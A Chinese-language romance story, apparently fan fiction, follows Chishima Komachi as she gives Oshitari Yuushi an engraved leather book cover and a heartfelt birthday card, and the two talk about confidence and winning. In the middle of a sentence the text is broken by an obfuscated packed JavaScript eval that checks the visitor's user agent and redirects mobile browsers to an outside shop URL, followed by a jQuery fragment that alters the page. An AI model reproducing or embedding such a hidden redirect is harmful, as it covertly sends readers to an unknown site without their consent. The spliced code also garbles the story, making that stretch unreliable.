文化祭结束以后，教室里的装饰拆了整整三天。
窗框上的彩纸被太阳晒得卷边，黑板旁还留着一颗漏摘的银色星星。藤崎每天早晨都说放学以后一定处理，到了放学又抱着校刊资料第一个消失。最后连日直也放弃了，那颗星星便一直挂到十月中旬。
与它一起留下来的，还有后排月历上那只戴眼镜的蓝色蛋糕。
蛋糕长着两条过分修长的腿，头顶被向日添了一行字：
十月十五日，忍足侑士老一岁。
忍足站在月历前看了一会儿。
“为什么蛋糕也有腿？”
“绘画要抓住人物特征。”藤崎说。
“你画的？”
“岳人画的。我只负责蛋糕。”
向日正在后排翻书包，闻言头也不抬：“她画得太不像，我才补了两笔。”
“哪里不像？”
“眼睛太大。”
藤崎抓起黑板擦便砸过去。向日偏头躲开，粉笔灰在课桌边缘散开，正好落在忍足刚拿出来的书上。
忍足低头看着封面。
向日迅速后退一步。
“今天才十二号。”
“所以？”
“离你生日还有三天，不至于现在就翻脸吧？”
忍足摘下眼镜，慢慢擦掉镜片上的粉尘。
“岳人对生日的理解很有意思。”
小町坐在前排整理讲义，听见动静回过头。向日已经绕到她这一侧，试图借前排的桌椅挡住自己。
“千岛，救一下。”
“你做了什么？”
“让他的书提前经历了一点岁月。”
“书本来就会变旧。”
“你看，千岛也这么说。”
忍足重新戴好眼镜，朝他笑了一下。
“下午训练时继续讨论。”
向日顿时闭嘴。
预备铃响起，藤崎把黑板擦捡回来，经过小町桌旁时，用手指敲了敲月历上的十五号。
“班级礼物还是原计划？”
“嗯。”
“蛋糕我订好了，绘里去拿。你和奈奈负责卡片，放学以前记得交给我。”
小町已经在班级贺卡上写过祝福。
普通的一句生日快乐，落款与所有人的名字排在一起。
那天下午，她经过一家皮具店时，却在橱窗前停了下来。
店里很安静，空气中带着皮革与木质蜡油的气味。靠墙的玻璃柜里摆着名片夹、笔袋和书衣，颜色从深棕一直排到墨绿。最里面有一款深蓝色小牛皮文库本书衣，表面没有花纹，边缘压着一圈极细的银线。
小町让店员取出来。
皮革很轻，翻开以后，内衬是偏冷的灰蓝色。右侧留有可以调整厚度的插袋，薄文库本与一些的口袋书都能放进去。
她见过忍足把书放在网球包里。
训练服、水瓶、护腕与书挤在同一个夹层，书页偶尔会被压出折角。他发现以后也不太在意，只随手抚平，下一次依然照旧放进去。
“可以压姓名吗？”小町问。
“这一款可以。完整姓名需要三天，字母缩写今天就能完成。”
店员拿来银色与哑金色的样册。
小町选了银色。
Y.O.
两个字母被压在书衣内侧很低的位置，合起来便看不见。
她站在柜台前等了四十分钟。店员端来红茶，她喝到一半，想到忍足也许已经有类似的东西。
这并不影响她买下眼前这一件。
完成包装以后，深蓝色盒子外系上一条灰银缎带。小町接过纸袋，发现它比寻常的同学礼物郑重不少。
店员询问是否需要贺卡，她仍然点了头。
象牙色卡片很厚，边缘压着与书衣相同的银线。小町握着店员递来的钢笔，笔尖在纸面上方停了一会儿。
她先写下日期。
随后是正文。
愿你无数次从容地赢下比赛，也永远不会为没能追到的球懊悔。
愿所有荣光都向你倾斜，愿你的人生降临爱、欢喜、热烈，以及风光的如意。
生日快乐，忍足侑士。
写完以后，小町从头读了一遍。
像是把往后许多年的祝福一次性送了出去。
她拿来第二张卡片，准备写得简单一些，钢笔悬了很久，最终只留下一枚极小的墨点。
小町把第一张装进信封。
十月十五日早晨，忍足推开教室后门，迎面便炸开一只纸礼花。
彩带挂上他的肩膀，几枚亮片擦过镜片，其中一片金色的正好停在鼻梁上方。
藤崎举着空纸筒，笑得扶住讲台。
“生日快乐！”
忍足站在门口，隔着那枚亮片看她。
“谢谢。差一点就看不见今年了。”
“只是纸片。”
“刚才有一张直接朝眼睛来了。”
“说明它也想第一个祝福你。”
向日从忍足身后挤进教室，伸手摘掉他头发上的彩带。
“让一下，我的牛奶快掉了。”
他嘴上催促，另一只手却把一个包装得歪歪扭扭的纸袋丢到忍足桌上。袋口用全新的网球拍吸汗带扎住，正面画着一个红色感叹号。
忍足拿起来看了看。
“炸弹？”
“护腕。”
“包装提供的信息比较有限。”
向日伸手想把礼物抢回来，忍足已经拉开桌肚，将纸袋放了进去。
早上的教室比文化祭期间还要热闹。
有人在黑板上补了一行祝福，有人从便利店带来限定咖啡，还有几名低年级女生赶在上课前来到二年级走廊，把礼物托给网球部的部员。
小町进门时，忍足桌边已经放着四只纸袋。
她脚步慢了一点。
小町把自己的纸袋收进桌肚。
水野从旁边递来国语讲义，视线落在她书包边缘露出的灰银色缎带上。
“也是给忍足的？”
“嗯。”
“怎么不送？”
“现在人太多。”
水野朝后排看了一眼。
“等一下可能更多。”
她没有继续追问。
午休时，班级合买的蛋糕送到了。
蛋糕表面铺着栗子奶油，中央用蓝色糖霜写着“侑士生日快乐”。“侑”字占掉太多位置，最后一个“乐”几乎贴在草莓下面，只剩一半可以辨认。
忍足负责切蛋糕。
向日站在旁边监督，发现最大的一块落进寿星自己的盘子，立刻提出抗议。
“凭什么？”
忍足把蛋糕铲放回盒里。
“生日特权。”
“钱是大家一起出的。”
“所以岳人也得到了一块。”
“我的草莓只有半颗。”
“另外半颗还在蛋糕上。”
向日真的低头去找。等他反应过来，忍足已经端着纸盘走了。
小町正在窗边与藤崎整理校刊照片，一只纸盘从旁边递过来。上面的蛋糕带着一颗完整的草莓。
“你的。”忍足说。
向日恰好从后面追过来。
“原来在这里！”
他的叉子伸向草莓，忍足用蛋糕铲挡住。
“已经分给千岛了。”
“你刚才明明是故意的。”
“证据呢？”
“你笑了。”
“生日当天心情好，很合理吧。”
“忍足！”
几个人从窗边一路闹回后排。小町低头吃掉那颗险些引起争执的草莓，奶油偏甜，味道倒很好。
忍足桌边的礼物又多了几份。
网球部送的是一副限量护腕与新出的运动耳机，班里有人送了电影画册、进口钢笔和一套骨瓷咖啡杯。纸袋沿窗台摆了一排，价签已经被仔细撕掉，仍然看得出每一样都价值不低。
藤崎趴在桌边欣赏一圈。
“忍足平时看着也就那样，生日居然这么夸张。”
“什么叫也就那样？”向日问。
“每天都能看见，已经失去新鲜感。”
忍足坐在旁边拆一张贺卡，闻言抬眼：“藤崎同学可以在我生日当天说得委婉一点。”
“我是在夸你受欢迎。”
“前半句似乎没有这个意思。”
小町拿着空纸盘，目光扫过那排礼物。
忍足确实很受欢迎。
外形、成绩、网球，以及在大多数场合都不会令人难堪的分寸感。即使有人并不了解他，也能轻易从这些条件里挑出喜欢的理由。
她早就知道。
亲眼看见以后，心情仍然受到一点影响。
“你的呢？”藤崎忽然问。
小町收回视线：“什么？”
“礼物。你不是准备了吗？”
“放学再给。”
“为什么？”
“班级礼物已经送了。”
藤崎眯起眼睛，显然没被这个理由说服。
水野及时把一叠照片塞进她怀里：“先确认文化祭特刊的选图。”
藤崎被迫低头工作，仍不忘朝小町意味深长地看上一眼。
下午最后一节课结束，向日抱着网球包站在后门催忍足。网球部当天照常训练，迹部只将结束时间提前半小时，留给寿星处理自己的安排。
忍足将课本放进书包，经过小町桌旁时停下来。
“晚上有事？”
小町抬起眼：“你问我？”
“岳人说你准备放学以后送。”
后排的向日立刻转开脸，装作研究墙上的课程表。
小町看了他一眼。
“训练结束以后有时间吗？”
忍足低头确认手表。
“寿星今晚的安排很满。”
“那就明天。”
“几点结束？”
他的回答快得盖住了她的上一句话。
小町忍住笑。
“大概六点。”
“我去弓道场找你。”
“你今天提前结束，为什么还要你来找？”
“因为生日礼物听起来值得多走一点路。”
向日在门口“啧”了一声。
忍足回头：“有意见？”
“没有。迹部让我转告你，再不走，生日训练会自动延长。”
忍足拿起网球包。
“六点见。”
弓道部当天的训练并不重。
三年级退部前的最后一场校内记录赛已经结束，北川老师开始让二年级接手器材、体配顺序与一年级的基础指导。小町带着松田检查完弓弦，又替两名一年级调整足踏，抬头时，墙上的钟已经走过五点四十分。
那只纸袋一直放在更衣室的储物柜里。
训练结束后，松田换好鞋，频繁朝她的柜子看。
小町系好衬衫袖口。
“想问什么？”
“给忍足学长的生日礼物？”
“嗯。”
松田的眼睛顿时亮了一点。
“想知道他收到以后是什么表情。”
“你可以明天自己问他。”
“我怎么可能跑到二年级教室问！”
“那就等我告诉你。”
“学姐会告诉吗？”
小町拎起纸袋。
“看他的反应。”
野泽从旁边经过，顺手把一只空箭筒塞给松田。
“先关心器材室的反应。你少放了一只箭筒。”
松田抱住箭筒，被迫折返回去。走出几步，她又回过头。
“忍足学长一定会喜欢。”
“我知道。”
小町回答得理所当然。
忍足没有走到弓道场。
小町穿过中庭时，便在通往旧教学楼的长廊看见他。网球包靠在木柱旁，他已经换回制服，衬衫领口还留着训练后的褶皱，正在低头回复手机消息。
走廊外种着一排银杏。叶片刚开始转黄，晚风卷过草坪，几片叶子撞上木质栏杆，又落回地面。
小町走近。
“等很久了？”
忍足收起手机。
“三分钟。”
“你可以晚一点来。”
“万一有人等得不耐烦，把礼物送给别人怎么办？”
“上面压了姓名。”
“谁的？”
小町把纸袋递过去。
“现在还问，可能真的会送错。”
忍足接住纸袋，先看见缎带上的小卡片。上面只写着他的名字，字迹规整，最后一笔略微向上。
“可以拆吗？”
“本来就是给你的。”
“今天有人规定，礼物要回家才能拆。”
“谁？”
“岳人。他担心我看见护腕以后感动得哭出来。”
小町扫过他手腕上那副新护腕。
“那你哭了吗？”
“努力忍住了。”
忍足笑起来，低头解开缎带。
包装盒打开，深蓝色书衣安静地放在灰色绒布上。银线沿着边缘收出干净的轮廓，灯光落下来时，皮革表面泛起很浅的光泽。
忍足的手停了一会儿，才将它拿出来。
指尖很快摸到内侧的压印。
Y.O.
两个银色字母藏在书页插袋下方，位置很低，只有打开以后才看得见。
“订做的？”他问。
“字母是后来压的。”
几名管乐部学生恰好从长廊外经过，乐器盒的轮子碾过石板，短暂盖住周围的声音。忍足站在原地，手指仍压在那两个字母上。
“先看卡片吧。”小町说。
信封藏在盒子底部。
忍足拆开以后，从第一行慢慢读到最后。他的表情没有出现太明显的变化，目光却停在卡片中央，很久没有往下移动。
晚风穿过长廊，纸页在他指间轻轻动了一下。
小町忽然开始后悔让他当面拆。
“看完了吗？”
“还在看。”
“一共只有三行。”
“祝福的范围很大，需要认真一点。”
忍足终于抬起脸。
“万一以后没办法每一场都赢呢？”
“生日祝福当然要祝你每一场都赢。”
“听起来很难实现。”
“实现是你的事，我只负责祝福。”
忍足低头看了一眼卡片，笑意很浅。
“那要是受伤、状态不好，或者碰上实在赢不了的人呢？”
“也要赢。”
“这么不讲道理？”
“生日祝福为什么要讲道理？最好永远没有挫折，连努力都不需要。你只要拿起球拍，站到场上，比赛就会顺着你想要的方向结束。”
忍足望着她。
小町说这番话时神情认真，显然没有开玩笑。
“对其他选手有点不公平。”他说。
“今天只祝你，不负责公平。”
“那我应该高兴？”
“当然。”
“可是你明明很清楚，没有人可以一直赢。”
“我知道。”
小町的声音低下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17842532|211672||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来。
“但正因为知道，才要这样祝。”小町说。
忍足没有催促。
她将手放在身后的栏杆上，指尖触到被晚风吹凉的木头。
“第一次站上赛场的时候，真的会觉得自己什么都做得到。别人把最后一箭交给我，我也只会想，那当然应该由我来射。那时候不知道害怕，甚至没想过自己会不中。”
忍足手里的卡片慢慢垂低。
“后来就知道了。”
知道箭会落空，知道一次失误可以接着第二次、第三次；知道观众的目光会在失败以后发生变化，也知道自己并没有想象中那么坚不可摧。
重新参加比赛以后，她依然可以射中。
站上落位时，却再也不会拥有最初那种毫无根据的笃定。她能够学会与不安相处，能够带着它完成下一支箭。那份曾经完整存在过的心情，已经留在更早的某个夏天。
“这种意气，”小町说，“失去一次，后来即使找回来，也已经知道它曾经消失过。”
忍足安静地看着她。
“所以你希望我永远不知道？”
“嗯。”
小町回答得很轻，却没有犹豫。
“希望你一直觉得自己能够接到。追过去的时候也别先想差几步，站上球场就认为自己会赢。最好永远意气风发，永远是天才，输过以后睡一晚，第二天还是觉得下一场当然属于你。”
忍足垂下眼，看着贺卡上的那几行字。
“对天才的要求很高啊。”
“这不是要求。”
“那是什么？”
“祝福。”
小町望着他，忽然笑了一下。
“要求需要你做到。祝福不用。”
忍足也笑了，眼里的情绪却没有随之变轻。
“那如果有一天，我真的失去了呢？”
“回来找我。”
这句话比先前所有祝愿都说得自然。
忍足的指尖在卡片边缘停住。
小町继续道：“我可以再写一张。到时候根据具体情况修改，保证比今天更有针对性。”
“生日已经过了怎么办？”
“你需要祝福的时候，又不一定非要生日。”
长廊外吹来一阵风。
忍足站在那里，半晌才低声说：“千岛同学这样，会让我很难只把它当成普通生日礼物。”
忍足低头把卡片重新看了一遍，沿原来的折痕仔细收好，又将信封放进制服胸前的口袋。
“唔最喜欢哪一句？”小町问。
“现在还要验收感想？”
“送礼物的人有知情权。”
忍足想了一会儿。
“最后一句。”
爱、欢喜、热烈，以及风光的如意。
几个词被他重新念过一次，忽然显得比小町落笔时更直白。
“为什么？”
“听起来很贪心。”
“生日祝福本来就应该贪心。”
“如果只能选一个呢？”
“你的生日，为什么要我选？”
“想知道写下它的人觉得哪一个最重要。”
小町看向走廊外。几片银杏叶沿着草坪滚出去，叶柄偶尔卡在砖缝里，又被下一阵风带走。
“爱吧。”她说。
“有足够的爱，即使另外几样来得晚一点，人生也不会太差。”小町说，“这是我最近才想明白的。”
忍足看了她一会儿，没再追问。
他将书衣放回盒中，又觉得这样容易被网球包压到，干脆拿出来握在手里。纸袋被折好，连拆下来的灰银色缎带也收进外侧口袋。
两个人沿长廊往校门走。
网球部的几名一年级正推着球筐回仓库，看见忍足，纷纷停下来补上一句生日快乐。忍足一一应过。等人走远，小町才发现他的手始终放在书衣内侧，指腹偶尔碰过那两个银色字母。
“今天到底有多少人祝你生日快乐？”她问。
“没数。”
“礼物呢？”
“岳人数过，十七份。”
“真受欢迎。”
“听起来不太高兴。”
“我在陈述事实。”
忍足偏过脸看她。
“千岛在意？”
小町脚步未停。
“如果我说在意，你准备怎么办？”
这个问题来得太直接。
忍足的神情空白了一瞬，很快又带上平常那点笑。他低头看了看手中的书衣，像是想借这个动作多争取一点时间。
“先高兴一会儿。”他说。
“然后呢？”
“今天已经收到了这么好的祝福，总得谨慎一点，免得太得意，明天就在球场上摔倒。”
“那你浪费了我的愿望。”
“不是说不用做到？”
“我现在改变规则了。”
忍足笑出声。
走到校门外，接小町的车已经停在路边。忍足要前往另一侧的车站，两个人在台阶下分开。
小町刚走出几步，他在身后叫住她。
“千岛。”
她回过头。
忍足站在路灯下，书衣被他夹在臂弯里，贺卡放进了制服胸前的口袋，只露出一道象牙色的纸边。
“我会尽量一直赢。”他说。
“不用尽量。”
“这么严格？”
“拜托你是天才吧，好歹有点自信。”
忍足看着她，眼里的笑慢慢亮起来。
“嗯。”他说，“今天先这样认为。”
小町坐进车里。
车辆驶出校门时，她从后视镜里看见忍足仍站在原处。他低头拿出那张卡片，又看了一遍。
第二天早晨，忍足带着那只书衣来了学校。
里面装着一本新书，封面被深蓝色皮革妥帖地遮住。向日拿过去翻了半天，最后只发现内侧那两个银色字母。
“这个也是昨天收到的？”
“嗯。”
“谁送的？”
忍足从他手里拿回书。
“岳人昨天不是把礼物全数过一遍了吗？”
“我只数了数量，谁会连名字一起记。”
“那就继续猜。”
向日盯着他看了两秒，顺着忍足刚才抬眼的方向望向前排。
小町正与藤崎说话。
向日立刻露出明白过来的表情。
“哦——”
忍足用书脊敲了一下他的肩膀。
“早读。”
“还没响铃。”
“可以提前开始。”
“她送你的？”
忍足已经翻开书。深蓝色书衣挡住了大半张脸，只能看见唇边尚未收起的笑。
当天放学，弓道场的公告板上多了一张新安排。
十月十八日，三年级最后一次全体训练。
十月二十一日，交接及退部仪式。
松田站在公告板前看了很久。
“这么快吗？”
宫下正在整理器材登记册，听见她的话，也朝那两行日期看了一眼。
“原本就定在这个月。”
“所以别再迟到。”
松田罕见地没有反驳。
小町站在她身后，目光落在日历上。十月十五日已经被红笔划去，下面的日期沿着纸张一格格排开，很快便走到了月底。
宫下合上登记册。
“准备训练。”
大家依次离开公告板。
松田走出几步，又回头看了一眼，仿佛她多看一会儿，那两行字就能在十月里停得久一些。